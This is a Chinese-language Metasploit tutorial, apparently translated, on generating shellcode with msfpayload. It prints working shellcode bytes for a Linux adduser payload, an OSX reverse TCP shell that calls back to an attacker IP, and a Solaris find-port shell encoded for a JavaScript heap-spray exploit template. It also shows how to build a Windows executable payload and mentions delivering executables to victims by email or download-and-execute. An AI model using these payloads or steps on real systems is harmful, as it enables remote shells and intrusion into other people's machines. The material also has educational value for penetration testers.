例如,如果你正使用反向連接shellcode你將需要指明攻擊者機器的ip地址以便讓shellcode可以反向和你相連接
如下所示,這里將使用默認選項
如果你現在點擊生成按鈕,metasploit將生成你已經指明參數的shellcode.這應該類似于如下圖所示:
下面列出已經生成的shellcode;
?/* ???? * linux/x86/adduser - 124 bytes ???? *?http://www.metasploit.com ???? * Encoder: x86/shikata_ga_nai ???? * PrependSetresuid=false, PrependSetreuid=false, ???? * PrependSetuid=false, AppendExit=false, USER=metasploit, ???? * PASS=metasploit, SHELL=/bin/sh ???? */ ????unsigned char buf[] = ????"\xbf\x8e\x4c\x0d\x9e\x29\xc9\xd9\xec\xb1\x19\xd9\x74\x24\xf4" ????"\x5a\x31\x7a\x11\x03\x7a\x11\x83\xc2\x8a\xae\xf8\xaf\x5b\xa7" ????"\xc8\xba\x1d\xe0\x03\xba\xcb\x15\xc4\x8a\xc2\x47\x9c\x9f\xa7" ????"\x10\x38\x08\x68\xf0\xb0\xa9\x1e\x21\x54\x5e\xbd\xb4\x75\xdf" ????"\xf4\xc3\xb4\x60\x65\x23\x6e\x61\x89\xb4\x02\x04\xfd\xd5\xaf" ????"\xb6\x91\x7a\x39\x43\x53\xc4\xc3\x84\xc7\x8f\x40\xb1\x33\x60" ????"\x93\x0c\x69\xe3\xe1\xbe\xb7\xd3\x2f\x85\xe8\x29\x7f\x9b\x9f" ????"\x23\x50\x28\x37\xb6\xf7\x45\x96\x3a\x6d\x5e\x40\x0e\xf2\x34" ????"\x71\xc8\x3e\x48";
然后你把這個shellcode復制到已經指定平臺的一個exploit中.因為默認格式是c然后這將被使用于一個用c編程的exploit中.如果我們有已經用perl或ruby編寫好的exploit,我們將生成使用于那種語言的shellcode.
這個教程臨近結束將示范一個將生成的shellcode插入到一個exploit的例子
需要記住的是Metasploit的web接口可能造成一些字符不能顯示出來導致生成的shellcode不能成功執行,因此,生成shellcode最好的方法是通過Metasploit在命令行上使用msfpayload 命令生成shellcode
使用Metasploit執行”msfpayload”命令生成OSX shellcode.起初我們想啟動一個bash shell(在Metasploit內已經提供) 這可以通過運行如下可執行的程序:
????C:\msf3\shell.bat
如果你現在運行”msfpayload”(沒有任何選項),將顯示所有Metasploit可以生成的shellcode類型
我們想生成的第一個payload是OSX PPC Reverse Tcp shell,它在Metasploit中如下面那樣的被引用
下面是msfpayload命令接受選項的格式
????msfpayload
Output Types:
????S summary and options of payload
????C C language
????P Perl
????y Ruby
????R Raw, allows payload to be piped into msfencode and other tools
????J JavaScript
????X Windows executable
????V VBA
基于這些選項,我們現在知道想要的payload名了,但是不知道需要為這個payload設置什么參數.這個問題可以通過枚舉msfpayload的”s”選項來解決,正如下所示
????$ msfpayload osx/ppc/shell_reverse_tcp S ???? Name: OSX Command Shell, Reverse TCP Inline ???? Version: 6479 ???? Platform: ["OSX"] ???? Arch: ppc ????Needs Admin: No ???? Total size: 164 ????Provided by: ???? hdmhdm@metasploit.com ????Basic options: ????Name Current Setting Required Description ????---|||- --|||---|||---|||---|||---|||- --|||---|||---||| ---|||---|||---|||-- ????LHOST yes The local address ????LPORT 4444 yes The local port
描述:
反向連接到攻擊者并產出一個命令shell
我們可以看到我們自定義的LHOST和LPORT變量.下一個選項是輸出類型.對于這個例子來說我們堅持使用”c”(c 編程語言).因此,執行以下命令生成我們的shellcode
$ msfpayload osx/ppc/shell_reverse_tcp LHOST=10.1.1.100,LPORT=1337 C
????/*
???? * osx/ppc/shell_reverse_tcp - 164 bytes
???? *?http://www.metasploit.com
???? * LHOST=10.1.1.100, LPORT=1337, PrependSetresuid=false,
???? * PrependSetreuid=false, PrependSetuid=false, AppendExit=false
???? */
????unsigned char buf[] =
????"\x38\x60\x00\x02\x38\x80\x00\x01\x38\xa0\x00\x06\x38\x00\x00"
????"\x61\x44\x00\x00\x02\x7c\x00\x02\x78\x7c\x7e\x1b\x78\x48\x00"
????"\x00\x0d\x00\x02\x05\x39\x0a\x01\x01\x64\x7c\x88\x02\xa6\x38"
????"\xa0\x00\x10\x38\x00\x00\x62\x7f\xc3\xf3\x78\x44\x00\x00\x02"
????"\x7c\x00\x02\x78\x38\xa0\x00\x02\x38\x00\x00\x5a\x7f\xc3\xf3"
????"\x78\x7c\xa4\x2b\x78\x44\x00\x00\x02\x7c\x00\x02\x78\x38\xa5"
????"\xff\xff\x2c\x05\xff\xff\x40\x82\xff\xe5\x38\x00\x00\x42\x44"
????"\x00\x00\x02\x7c\x00\x02\x78\x7c\xa5\x2a\x79\x40\x82\xff\xfd"
????"\x7c\x68\x02\xa6\x38\x63\x00\x20\x90\x61\xff\xf8\x90\xa1\xff"
????"\xfc\x38\x81\xff\xf8\x38\x00\x00\x3b\x7c\x00\x04\xac\x44\x00"
????"\x00\x02\x2f\x62\x69\x6e\x2f\x63\x73\x68\x00\x41\x41\x41";
一個例子是使用c寫的exploit”Intelli Tamper2.0.7(html解析器)Remote Buffer Overflow Exploit”.你可以在這里找到
????(Project Shellcode Download:?http://www.projectshellcode.com/downloads/milw0rm-6121.c)
使用JavaScript(Unicode)把通過Metasploit執行”msfpayload”命令生成的Solaris shellcode進行編碼
通過Metasploit生成的shellcode是獨立平臺的,所以的處理細節和上面的沒啥不同.為了證明這個觀點我們將單步調試以下生成的payload
????- solaris/x86/shell_find_port
這個類型的Payload通常因”Connect Reuse”或”Find Port”shellcode而出名。當嘗試exploit一臺在防火墻(它的入站和出站規則已經被鎖定以致沒有可用的入站的端口關閉或出站的端口開放)后的主機時,這種shellcode的技術是有用的。這種安裝可以阻止使用端口綁定或反向連接的payload的攻擊者.因為它們將會被防火墻隔離.
在防火墻使用NAT連接到主機時,因為防火墻將終止了攻擊者在防火墻上建立的連接,同時創建一個新連接,它把一個防火墻和帶有新的源端口的主機連接起來.類似地,如果連接經過一個代理,會在目標和代理之間創建一個新的連接.當shellcode搜索攻擊者的源端口時,shellcode將無法找到它同時shellcode也無法正常工作.因為這個原因,Metasploit有一個命名為”find_tag”的不同類型的payload,它在建立好的連接上放置了一個預定義的”tag”.這種payload在建立好的連接中找到標簽同時可以識別出相關聯的連接
在這個小小的說明之后,我們想做的第一件事是使用如下命令判斷這個payload需要哪個選項.
$ msfpayload solaris/x86/shell_find_port S
???? Name: Solaris Command Shell, Find Port Inline
???? Version: 6479
???? Platform: ["Solaris"]
???? Arch: x86
????Needs Admin: No
???? Total size: 136
????Provided by:
???? Ramon de Carvalho Valle<[email protected]>
????Basic options:
????Name Current Setting Required Description
????---- --------------- -------- -----------
????CPORT 64865 no The local client port
在一個建立好的連接上產出一個shell
既然這樣僅僅使用到的變量是CPORT,它有一個默認的值.總之,我們將在命令行上指明它
這些天在軟件領域中大量客戶端方面的漏洞都被傳出來了,例如Internet Explorer,Adobe Reader, Microsoft Office,等等。通常是把exploit和shelcode注入到一個有害的html頁面中來利用這些漏洞.因為大多數shellcode包含了二進制數據,且不能直接被插入到一個網頁中.既然這樣,使用Unicode Encoding對它進行編碼以讓它可以被放入到一個JavaScript函數中,并使用unescape()函數進行解碼.當然,Metasploit在msfpayload中使用Unicode encoding自動化地對shellcode進行編碼時,提供了JavaScript(或J)選項.如下命令:
????$ msfpayload solaris/x86/shell_find_port CPORT=1337 J ????// solaris/x86/shell_find_port - 86 bytes ????//?http://www.metasploit.com ????// CPORT=1337, PrependSetreuid=false, PrependSetuid=false, ????// AppendExit=false ????%udb31%ue3f7%u8953%u68e7%ud8ff%u3cff%u656a%ue689%u56f7%uf604 ????%u5716%u91b3%u5353%ub754%u5354%u5850%u5040%u366a%uff58%u66d6 ????%u7f81%u0502%u7539%u58f0%u6a50%u5009%u3e6a%uff58%uffd6%ue04f ????%uf679%u6850%u2f2f%u6873%u2f68%u6962%u896e%u50e3%u8953%u50e1 ????%u5351%u3bb0%ud6ff
正如這個例子所述的,一個客戶端的exploit可能包含如下小段代碼,這個地方被插入了payload
<SCRIPT language="javascript">
????????var heapSprayToAddress = 0x05050505;
????????var payLoadCode = unescape("insertpayloadhere");
????????var heapBlockSize = 0x400000;
????????...
可以簡單的把已經生成的shellcode復制到這個exploit的”insertpayloadhere”區域中.通常你將找到已經包含這些shellcode的一個exploit,例如一種綁定端口的payload.你僅僅用你自己的shellcode替換掉它來自定義你目標環境的exploit.
<SCRIPT language="javascript">
?????var heapSprayToAddress = 0x05050505;
?????var payLoadCode = unescape("%udb31%ue3f7%u8953%u68e7%ud8ff%u3cff%u656a
?????%ue689%u56f7%uf604%u5716%u91b3%u5353%ub754%u5354%u5850%u5040%u366a%uff58
?????%u66d6%u7f81%u0502%u7539%u58f0%u6a50%u5009%u3e6a%uff58%uffd6%ue04f%uf679
?????%u6850%u2f2f%u6873%u2f68%u6962%u896e%u50e3%u8953%u50e1%u5351%u3bb0%ud6ff");
?????var heapBlockSize = 0x400000;
????????...
使用Metasploit執行”msfpayload”命令生成像一個Windows可執行程序那樣的shellcode.
Metasploit提供一種功能,這種功能可以輸出已經生成的payload.它就像一個windows可執行程序那樣的.事實上正如你期待做的,這種功能對于測試生成的shellcode來說是有用的.以及通過email,HTTP給受害者發送可執行的程序,甚至是通過一個”Downlaod and Execute”payload給受害者發送可執行的程序.
當一個exploit僅有一個可以被shellcode插入的小的緩沖區時,一個Download and Execute payload是有用的.這可以限制在exploit中使用的payload.使用設計好的shellcode可能被限制,它起初是一個被插入到exploit中的小型payload.并被設計來下載更大的payload以擴展這個shellcode的功能。另一個選擇是使用一個Download and Execute payload.起初這個小型payload不過是被設計于從攻擊者的web服務器中下載一個可執行程序并在系統上執行.在系統上,這種shellcode為后門提供了特性更加豐富的特性.
在受害者系統上下載一個可執行的程序,這有可能被反病毒軟件捕獲-如果受害者已經裝了它
為了演示在Metasploit內生成windows可執行程序這里將使用”windows/exec”payload.需要決定為這個payload提供的哪個選項,正如我們事先使用的Summary(S)選項那樣:
$ msfpayload windows/exec S
???? Name: Windows Execute Command
???? Version: 5773
???? Platform: ["Windows"]
???? Arch: x86
????Needs Admin: No
???? Total size: 113
????
????Provided by:
???? vlad902?<[email protected]>
????Basic options:
????Name Current Setting Required Description
????---- --------------- -------- -----------
????CMD yes The command string to execute
????EXITFUNC thread yes Exit technique: seh, thread, process
描述:
執行一個你想要的命令
需要指明”CMD”選項.僅僅將執行”calc.exe”以便可以在自己的系統上測試它.為了使用Metasploit生成一個可執行windows程序,我們也可以指定X選項.這將把可執行程序顯示到屏幕上,所以我們需要一個管道讓它指向一個文件(將會調用的pscalc.exe文件),如下所示:
????$ msfpayload windows/exec CMD=calc.exe X > pscalc.exe ????Created by msfpayload (http://www.metasploit.com). ????Payload: windows/exec ???? Length: 121 ????Options: CMD=calc.exe
你現在應該有一個命名為”pscalc.exe”的可執行的文件在當前目錄中.你可以使用如下命令來確認:
$ ls -l pscalc.exe
可以看到這個文件沒有執行權限,因此需要使用如下命令為它設置可執行權限
????$ chmod 755 pscalc.exe
你現在可以通過執行windows的可執行程序”pscalc.exe”來測試你的shellcode.下面的命令應該觸發Windows Calculator而顯示在你的系統上.
????$ ./pscalc.exe
這在下圖中已經示范了:
恭喜! 你已經使用Metasploit Exploit Framework 以不同的格式為四種不同平臺的生成了四種不同類型的shellcode.